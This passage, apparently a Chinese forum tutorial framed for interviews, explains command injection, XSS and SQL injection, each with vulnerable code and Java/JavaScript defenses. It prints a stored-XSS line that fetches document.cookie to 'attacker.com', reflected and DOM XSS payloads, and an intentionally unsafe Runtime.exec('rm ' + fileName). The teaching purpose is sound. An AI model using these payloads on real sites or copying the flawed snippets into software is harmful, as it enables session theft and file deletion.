直接执行用户输入的命令[AppleScript] 纯文本查看 复制代码
// 错误:直接执行用户输入的命令[/size][/font][/color][/p]String fileName = request.getParameter("file");
Runtime.getRuntime().exec("rm " + fileName); // 删除用户指定的文件
防御措施(后端):
- SQL 注入防御:将用户输入视为数据而非代码,分离 SQL 逻辑与参数
- OS 命令注入防御:禁止直接执行用户输入,使用安全 API 替代命令行操作
[AppleScript] 纯文本查看 复制代码
// 正确:使用 Java 文件 API 替代 rm 命令
String fileName = request.getParameter("file");
if (!fileName.matches("[a-zA-Z0-9_]+")) { // 白名单校验文件名格式
throw new IllegalArgumentException("非法文件名");
}
Path path = Paths.get("/tmp/" + fileName);
Files.delete(path); // 使用 Java NIO 安全删除文件
- NoSQL 注入防御:使用类型安全的查询构造器(如 MongoDB 的 Filters)
防御措施(前端):
[AppleScript] 纯文本查看 复制代码
<!-- 只允许字母数字,禁止特殊符号 -->
<input type="text" pattern="[A-Za-z0-9]+" required>
避免直接渲染用户输入:防止 XSS 与模板注入
[AppleScript] 纯文本查看 复制代码
// 使用 textContent 替代 innerHTML
document.getElementById("output").textContent = userInput;
// 使用 DOMPurify 过滤 HTML
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
上面提到的三项是 OWASP 归类好的安全风险,不过面试官一般会问:常见的攻击方式有哪些?安全风险和攻击方式是两回事,安全风险里面包含了很多种攻击方式。
言归正传,我们还是需要了解一下具体的常见攻击方式,比如 XSS (Cross Site Scripting) 跨站脚本攻击 和 SQL 注入攻击 本质上同属于 A03 注入,
但行为上有差别,CSRF(Cross-site request forgery)跨站请求伪造 属于 A01 失效的访问控制。下面单独讲一下这三种常见攻击方式:
一、XSS (Cross Site Scripting) 跨站脚本攻击该攻击方式通常注入的恶意脚本是JS,当其他用户访问该页面时,浏览器会执行这些脚本,从而窃取用户数据、劫持会话或破坏页面功能
攻击类型与原理:
- 存储型 XSS(Stored XSS):恶意脚本被永久存储在目标服务器(如数据库、评论区),用户访问包含该脚本的页面时触发攻击
[AppleScript] 纯文本查看 复制代码
<!-- 攻击者在论坛评论中插入 -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
其他用户加载该评论时,浏览器自动发送当前用户的 Cookie 到攻击者服务器
- 反射型 XSS(Reflected XSS):恶意脚本通过 URL 参数传递给服务器,服务器未过滤直接返回给客户端执行。通常需要诱导用户点击恶意链接
[AppleScript] 纯文本查看 复制代码
<!-- 恶意链接 -->
[url=https://example.com/search?q=]https://example.com/search?q=[/url]<script>alert(1)</script>
[AppleScript] 纯文本查看 复制代码
<!-- 后端直接返回:-->
您搜索的关键词:<script>alert(1)</script>
用户点击链接后,脚本执行
- DOM 型 XSS(DOM-based XSS):前端 JavaScript 动态操作 DOM 时,未正确处理用户输入,导致恶意代码执行
[AppleScript] 纯文本查看 复制代码
// 从 URL 中读取参数并插入页面
const username = new URL(location.href).searchParams.get('user');
document.getElementById('welcome').innerHTML = `欢迎,${username}!`;
[AppleScript] 纯文本查看 复制代码
<!-- 攻击者构造 URL:-->
[url=https://example.com/?user=]https://example.com?user=[/url]<img src=x onerror=alert(1)>
页面插入 <img> 标签后触发 onerror 事件,执行恶意代码
防御方式:
参考A03,XSS 防御的核心原则是“不信任任何用户输入”
[AppleScript] 纯文本查看 复制代码
// 使用 Jsoup 过滤 HTML 标签
import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
public class XSSFilter {
public static String sanitize(String input) {
return Jsoup.clean(input, Safelist.basic()); // 允许基础标签(如 <b>, <i>)
}
}
// 使用示例
String safeInput = XSSFilter.sanitize(userInput);
输出编码:根据上下文(HTML/JS/URL)动态转义数据
[AppleScript] 纯文本查看 复制代码
<!-- Thymeleaf 默认转义 HTML -->
<div th:text="${userInput}"></div>
<!-- 禁用转义时需手动过滤 -->
<div th:utext="${XSSFilter.sanitize(userInput)}"></div>
禁用危险 API:避免在 Java 中直接返回未过滤的 JSON
[AppleScript] 纯文本查看 复制代码
// 错误:直接返回未过滤的 JSON
@GetMapping("/data")
public String getData(@RequestParam String input) {
return "{\"value\": \"" + input + "\"}"; // 可被注入 JavaScript
}
// 正确:使用 JSON 库(如 Jackson)自动转义
@GetMapping("/data")
public Map<String, String> getData(@RequestParam String input) {
return Map.of("value", input); // Jackson 自动转义特殊字符
}
二,SQL注入攻击
该攻击方式注入的恶意脚本是 SQL 查询语句,执行非授权的数据库操作(如窃取数据、删除表、提升权限等)
攻击原理:
- 输入拼接:应用程序直接将用户输入拼接到 SQL 语句中
- 恶意构造:攻击者插入特殊字符(如 ', --, ;)或 SQL 片段,改变原查询逻辑
- 数据库执行:后端未校验输入,直接执行被篡改的 SQL 语句
防御方式:
- 参数化查询(PreparedStatement):将 SQL 语句与参数分离,用户输入视为数据而非代码
[AppleScript] 纯文本查看 复制代码
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username); // 参数下标从 1 开始
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
使用 ORM 框架(如 Hibernate):ORM 自动处理参数化,避免手动拼接 SQL
[AppleScript] 纯文本查看 复制代码
// Hibernate HQL 查询
String hql = "FROM User WHERE username = :username AND password = :password";
Query<User> query = session.createQuery(hql, User.class);
query.setParameter("username", username);
query.setParameter("password", password);
User user = query.uniqueResult();
输入白名单校验:限制输入格式,仅允许合法字符(如字母、数字)
[AppleScript] 纯文本查看 复制代码
public static boolean isValidInput(String input) {
return input.matches("^[a-zA-Z0-9_@.]+$"); // 允许字母、数字、@和.
}
最小权限原则:应用连接数据库的账号仅授予必要权限
[AppleScript] 纯文本查看 复制代码
-- 创建专用账号,仅允许 SELECT/INSERT/UPDATE
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
下一章接—— CSRF(Cross-site request forgery)跨站请求伪造